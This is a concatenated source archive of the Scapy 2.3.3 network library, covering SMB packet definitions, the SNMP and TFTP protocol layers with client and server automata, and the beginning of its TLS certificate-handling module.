LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",8), LEShortField("ByteCount",24), BitField("EncryptionKey",0,64), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # SMBNegociate Protocol Response No Security No Key class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet): namez="SMBNegociate Protocol Response No Security No Key" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEShortField("ByteCount",16), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # Session Setup AndX Request class SMBSession_Setup_AndX_Request(Packet): name="Session Setup AndX Request" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",13), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",96), LEShortField("MaxBufferS",2920), LEShortField("MaxMPXCount",50), LEShortField("VCNumber",0), LEIntField("SessionKey",0), LEFieldLenField("ANSIPasswordLength",None,"ANSIPassword"), LEShortField("UnicodePasswordLength",0), LEIntField("Reserved3",0), LEShortField("ServerCapabilities",0x05), BitField("UnixExtensions",0,1), BitField("Reserved4",0,7), BitField("ExtendedSecurity",0,1), BitField("CompBulk",0,2), BitField("Reserved5",0,5), LEShortField("ByteCount",35), StrLenField("ANSIPassword", "Pass",length_from=lambda x:x.ANSIPasswordLength), StrNullField("Account","GUEST"), StrNullField("PrimaryDomain", ""), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), ByteField("WordCount2",4), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved6",0), LEShortField("AndXOffset2",0), LEShortField("Flags3",0x2), LEShortField("PasswordLength",0x1), LEShortField("ByteCount2",18), ByteField("Password",0), StrNullField("Path","\\\\WIN2K\\IPC$"), StrNullField("Service","IPC")] # Session Setup AndX Response class SMBSession_Setup_AndX_Response(Packet): name="Session Setup AndX Response" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x90), LEShortField("Flags2",0x1001), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",3), ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}), ByteField("Reserved2",0), LEShortField("AndXOffset",66), LEShortField("Action",0), LEShortField("ByteCount",25), StrNullField("NativeOS","Windows 4.0"), StrNullField("NativeLanManager","Windows 4.0"), StrNullField("PrimaryDomain",""), ByteField("WordCount2",3), ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}), ByteField("Reserved3",0), LEShortField("AndXOffset2",80), LEShortField("OptionalSupport",0x01), LEShortField("ByteCount2",5), StrNullField("Service","IPC"), StrNullField("NativeFileSystem","")] bind_layers( NBTSession, SMBNegociate_Protocol_Request_Header, ) bind_layers( NBTSession, SMBNegociate_Protocol_Response_Advanced_Security, ExtendedSecurity=1) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security, ExtendedSecurity=0, EncryptionKeyLength=8) bind_layers( NBTSession, SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0) bind_layers( NBTSession, SMBSession_Setup_AndX_Request, ) bind_layers( NBTSession, SMBSession_Setup_AndX_Response, ) bind_layers( SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, ) bind_layers( SMBNegociate_Protocol_Request_Tail, SMBNegociate_Protocol_Request_Tail, ) scapy-2.3.3/scapy/layers/snmp.py000066400000000000000000000214741300136037300166070ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SNMP (Simple Network Management Protocol). """ from scapy.packet import * from scapy.asn1packet import * from scapy.asn1fields import * from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.sendrecv import sr1 from scapy.volatile import * from scapy.layers.inet import UDP, IP, ICMP ########## ## SNMP ## ########## ######[ ASN1 class ]###### class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ BER codecs ]####### class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ ASN1 fields ]###### class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_SET class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_BULK class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_INFORM class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ SNMP Packet ]###### SNMP_error = { 0: "no_error", 1: "too_big", 2: "no_such_name", 3: "bad_value", 4: "read_only", 5: "generic_error", 6: "no_access", 7: "wrong_type", 8: "wrong_length", 9: "wrong_encoding", 10: "wrong_value", 11: "no_creation", 12: "inconsistent_value", 13: "ressource_unavailable", 14: "commit_failed", 15: "undo_failed", 16: "authorization_error", 17: "not_writable", 18: "inconsistent_name", } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", 2: "link_down", 3: "link_up", 4: "auth_failure", 5: "egp_neigh_loss", 6: "enterprise_specific", } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPresponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_RESPONSE( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPset(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_SET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv1(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv1( ASN1F_OID("enterprise", "1.3"), ASN1F_IPADDRESS("agent_addr","0.0.0.0"), ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), ASN1F_INTEGER("specific_trap", 0), ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPbulk(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_BULK( ASN1F_INTEGER("id",0), ASN1F_INTEGER("non_repeaters",0), ASN1F_INTEGER("max_repetitions",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPinform(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_INFORM( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv2( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) bind_layers( UDP, SNMP, sport=162) bind_layers( UDP, SNMP, dport=162) def snmpwalk(dst, oid="1", community="public"): try: while 1: r = sr1(IP(dst=dst)/UDP(sport=RandShort())/SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])),timeout=2, chainCC=1, verbose=0, retry=2) if ICMP in r: print repr(r) break if r is None: print "No answers" break print "%-40s: %r" % (r[SNMPvarbind].oid.val,r[SNMPvarbind].value) oid = r[SNMPvarbind].oid except KeyboardInterrupt: pass scapy-2.3.3/scapy/layers/tftp.py000066400000000000000000000346201300136037300166040ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ TFTP (Trivial File Transfer Protocol). """ import os,random from scapy.packet import * from scapy.fields import * from scapy.automaton import * from scapy.layers.inet import UDP, IP TFTP_operations = { 1:"RRQ",2:"WRQ",3:"DATA",4:"ACK",5:"ERROR",6:"OACK" } class TFTP(Packet): name = "TFTP opcode" fields_desc = [ ShortEnumField("op", 1, TFTP_operations), ] class TFTP_RRQ(Packet): name = "TFTP Read Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("RRQ %filename%"),[UDP] class TFTP_WRQ(Packet): name = "TFTP Write Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("WRQ %filename%"),[UDP] class TFTP_DATA(Packet): name = "TFTP Data" fields_desc = [ ShortField("block", 0) ] def answers(self, other): return self.block == 1 and isinstance(other, TFTP_RRQ) def mysummary(self): return self.sprintf("DATA %block%"),[UDP] class TFTP_Option(Packet): fields_desc = [ StrNullField("oname",""), StrNullField("value","") ] def extract_padding(self, pkt): return "",pkt class TFTP_Options(Packet): fields_desc = [ PacketListField("options", [], TFTP_Option, length_from=lambda x:None) ] class TFTP_ACK(Packet): name = "TFTP Ack" fields_desc = [ ShortField("block", 0) ] def answers(self, other): if isinstance(other, TFTP_DATA): return self.block == other.block elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK): return self.block == 0 return 0 def mysummary(self): return self.sprintf("ACK %block%"),[UDP] TFTP_Error_Codes = { 0: "Not defined", 1: "File not found", 2: "Access violation", 3: "Disk full or allocation exceeded", 4: "Illegal TFTP operation", 5: "Unknown transfer ID", 6: "File already exists", 7: "No such user", 8: "Terminate transfer due to option negotiation", } class TFTP_ERROR(Packet): name = "TFTP Error" fields_desc = [ ShortEnumField("errorcode", 0, TFTP_Error_Codes), StrNullField("errormsg", "")] def answers(self, other): return (isinstance(other, TFTP_DATA) or isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_ACK)) def mysummary(self): return self.sprintf("ERROR %errorcode%: %errormsg%"),[UDP] class TFTP_OACK(Packet): name = "TFTP Option Ack" fields_desc = [ ] def answers(self, other): return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ) bind_layers(UDP, TFTP, dport=69) bind_layers(TFTP, TFTP_RRQ, op=1) bind_layers(TFTP, TFTP_WRQ, op=2) bind_layers(TFTP, TFTP_DATA, op=3) bind_layers(TFTP, TFTP_ACK, op=4) bind_layers(TFTP, TFTP_ERROR, op=5) bind_layers(TFTP, TFTP_OACK, op=6) bind_layers(TFTP_RRQ, TFTP_Options) bind_layers(TFTP_WRQ, TFTP_Options) bind_layers(TFTP_OACK, TFTP_Options) class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) @ATMT.action(receive_data) # @ATMT.action(receive_error) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): if conf.raw_layer in pkt: recvd = pkt[conf.raw_layer].load else: recvd = "" self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res class TFTP_write(Automaton): def parse_args(self, filename, data, server, sport=None, port=69,**kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport self.blocksize = 512 self.origdata = data def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.data = [self.origdata[i*self.blocksize:(i+1)*self.blocksize] for i in xrange( len(self.origdata)/self.blocksize+1)] self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_WRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.res = "" self.awaiting=0 raise self.WAITING_ACK() # WAITING_ACK @ATMT.state() def WAITING_ACK(self): pass @ATMT.receive_condition(WAITING_ACK) def received_ack(self,pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.SEND_DATA() @ATMT.receive_condition(WAITING_ACK) def received_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING_ACK, 3) def timeout_waiting(self): raise self.WAITING_ACK() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # SEND_DATA @ATMT.state() def SEND_DATA(self): self.awaiting += 1 self.last_packet = self.l3/TFTP_DATA(block=self.awaiting)/self.data.pop(0) self.send(self.last_packet) if self.data: raise self.WAITING_ACK() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_WRQ_server(Automaton): def parse_args(self, ip=None, sport=None, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.ip = ip self.sport = sport def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def BEGIN(self): self.blksize=512 self.blk=1 self.filedata="" self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) @ATMT.receive_condition(BEGIN) def receive_WRQ(self,pkt): if TFTP_WRQ in pkt: raise self.WAIT_DATA().action_parameters(pkt) @ATMT.action(receive_WRQ) def ack_WRQ(self, pkt): ip = pkt[IP] self.ip = ip.dst self.dst = ip.src self.filename = pkt[TFTP_WRQ].filename options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=pkt.sport)/TFTP() if options is None: self.last_packet = self.l3/TFTP_ACK(block=0) self.send(self.last_packet) else: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.state() def WAIT_DATA(self): pass @ATMT.timeout(WAIT_DATA, 1) def resend_ack(self): self.send(self.last_packet) raise self.WAIT_DATA() @ATMT.receive_condition(WAIT_DATA) def receive_data(self, pkt): if TFTP_DATA in pkt: data = pkt[TFTP_DATA] if data.block == self.blk: raise self.DATA(data) @ATMT.action(receive_data) def ack_data(self): self.last_packet = self.l3/TFTP_ACK(block = self.blk) self.send(self.last_packet) @ATMT.state() def DATA(self, data): self.filedata += data.load if len(data.load) < self.blksize: raise self.END() self.blk += 1 raise self.WAIT_DATA() @ATMT.state(final=1) def END(self): return self.filename,self.filedata split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_RRQ_server(Automaton): def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): Automaton.parse_args(self,**kargs) if store is None: store = {} if dir is not None: self.dir = os.path.join(os.path.abspath(dir),"") else: self.dir = None self.store = store self.joker = joker self.ip = ip self.sport = sport self.serve_one = serve_one self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def WAIT_RRQ(self): self.blksize=512 self.blk=0 @ATMT.receive_condition(WAIT_RRQ) def receive_rrq(self, pkt): if TFTP_RRQ in pkt: raise self.RECEIVED_RRQ(pkt) @ATMT.state() def RECEIVED_RRQ(self, pkt): ip = pkt[IP] options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=ip.sport)/TFTP() self.filename = pkt[TFTP_RRQ].filename self.blk=1 self.data = None if self.filename in self.store: self.data = self.store[self.filename] elif self.dir is not None: fn = os.path.abspath(os.path.join(self.dir, self.filename)) if fn.startswith(self.dir): # Check we're still in the server's directory try: self.data=open(fn).read() except IOError: pass if self.data is None: self.data = self.joker if options: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.condition(RECEIVED_RRQ) def file_in_store(self): if self.data is not None: self.blknb = len(self.data)/self.blksize+1 raise self.SEND_FILE() @ATMT.condition(RECEIVED_RRQ) def file_not_found(self): if self.data is None: raise self.WAIT_RRQ() @ATMT.action(file_not_found) def send_error(self): self.send(self.l3/TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1])) @ATMT.state() def SEND_FILE(self): self.send(self.l3/TFTP_DATA(block=self.blk)/self.data[(self.blk-1)*self.blksize:self.blk*self.blksize]) @ATMT.timeout(SEND_FILE, 3) def timeout_waiting_ack(self): raise self.SEND_FILE() @ATMT.receive_condition(SEND_FILE) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: raise self.RECEIVED_ACK() @ATMT.state() def RECEIVED_ACK(self): self.blk += 1 @ATMT.condition(RECEIVED_ACK) def no_more_data(self): if self.blk > self.blknb: if self.serve_one: raise self.END() raise self.WAIT_RRQ() @ATMT.condition(RECEIVED_ACK, prio=2) def data_remaining(self): raise self.SEND_FILE() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) scapy-2.3.3/scapy/layers/tls/000077500000000000000000000000001300136037300160525ustar00rootroot00000000000000scapy-2.3.3/scapy/layers/tls/__init__.py000066400000000000000000000013301300136037300201600ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Arnaud Ebalard, Maxence Tury ## This program is published under a GPLv2 license """ Tools for handling TLS sessions and digital certificates. """ try: import Crypto except ImportError: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python Crypto lib. Disabled certificate manipulation tools") try: import ecdsa except ImportError: import logging log_loading = logging.getLogger("scapy.loading") log_loading.info("Can't import python ecdsa lib. Disabled certificate manipulation tools") else: from scapy.layers.tls.cert import * scapy-2.3.3/scapy/layers/tls/cert.py000066400000000000000000001004641300136037300173660ustar00rootroot00000000000000## This file is part of Scapy ## Copyright (C) 2008 Arnaud Ebalard ## ## 2015, 2016 Maxence Tury ## This program is published under a GPLv2 license """ High-level methods for PKI objects (X.509 certificates, CRLs, asymmetric keys). Supports both RSA and ECDSA objects. """ ## This module relies on python-crypto and python-ecdsa. ## ## The classes below are wrappers for the ASN.1 objects defined in x509.py. ## By collecting their attributes, we bypass the ASN.1 structure, hence ## there is no direct method for exporting a new full DER-encoded version ## of a Cert instance after its serial has been modified (for example). ## If you need to modify an import, just use the corresponding ASN1_Packet. ## ## For instance, here is what you could do in order to modify the serial of ## 'cert' and then resign it with whatever 'key': ## f = open('cert.der') ## c = X509_Cert(f.read()) ## c.tbsCertificate.serialNumber = 0x4B1D ## k = PrivKey('key.pem') ## new_x509_cert = k.resignCert(c) ## No need for obnoxious openssl tweaking anymore. :) import base64, os, time import ecdsa from Crypto.PublicKey import RSA from scapy.layers.tls.crypto.curves import import_curve from scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip, pkcs_i2osp, mapHashFunc from scapy.layers.tls.crypto.pkcs1 import _EncryptAndVerifyRSA from scapy.layers.tls.crypto.pkcs1 import _DecryptAndSignRSA from scapy.asn1.asn1 import ASN1_BIT_STRING from scapy.asn1.mib import hash_by_oid from scapy.layers.x509 import X509_SubjectPublicKeyInfo from scapy.layers.x509 import RSAPublicKey, RSAPrivateKey from scapy.layers.x509 import ECDSAPublicKey, ECDSAPrivateKey from scapy.layers.x509 import RSAPrivateKey_OpenSSL, ECDSAPrivateKey_OpenSSL from scapy.layers.x509 import X509_Cert, X509_CRL from scapy.utils import binrepr # Maximum allowed size in bytes for a certificate file, to avoid # loading huge file when importing a cert MAX_KEY_SIZE = 50*1024 MAX_CERT_SIZE = 50*1024 MAX_CRL_SIZE = 10*1024*1024 # some are that big ##################################################################### # Some helpers ##################################################################### def der2pem(der_string, obj="UNKNOWN"): """ Encode a byte string in PEM format. Header advertizes type. """ pem_string = "-----BEGIN %s-----\n" % obj base64_string = base64.b64encode(der_string) chunks = [base64_string[i:i+64] for i in range(0, len(base64_string), 64)] pem_string += '\n'.join(chunks) pem_string += "\n-----END %s-----\n" % obj return pem_string def pem2der(pem_string): """ Encode every line between the first '-----\n' and the 2nd-to-last '-----'. """ pem_string = pem_string.replace("\r", "") first_idx = pem_string.find("-----\n") + 6 if pem_string.find("-----BEGIN", first_idx) != -1: raise Exception("pem2der() expects only one PEM-encoded object") last_idx = pem_string.rfind("-----", 0, pem_string.rfind("-----")) base64_string = pem_string[first_idx:last_idx] base64_string.replace("\n", "") der_string = base64.b64decode(base64_string) return der_string def split_pem(s): """ Split PEM objects. Useful to process concatenated certificates. """ pem_strings = [] while s != "": start_idx = s.find("-----BEGIN") if start_idx == -1: break end_idx = s.find("-----END") end_idx = s.find("\n", end_idx) + 1 pem_strings.append(s[start_idx:end_idx]) s = s[end_idx:] return pem_strings class _PKIObj(object): def __init__(self, frmt, der, pem): # Note that changing attributes of the _PKIObj does not update these # values (e.g. modifying 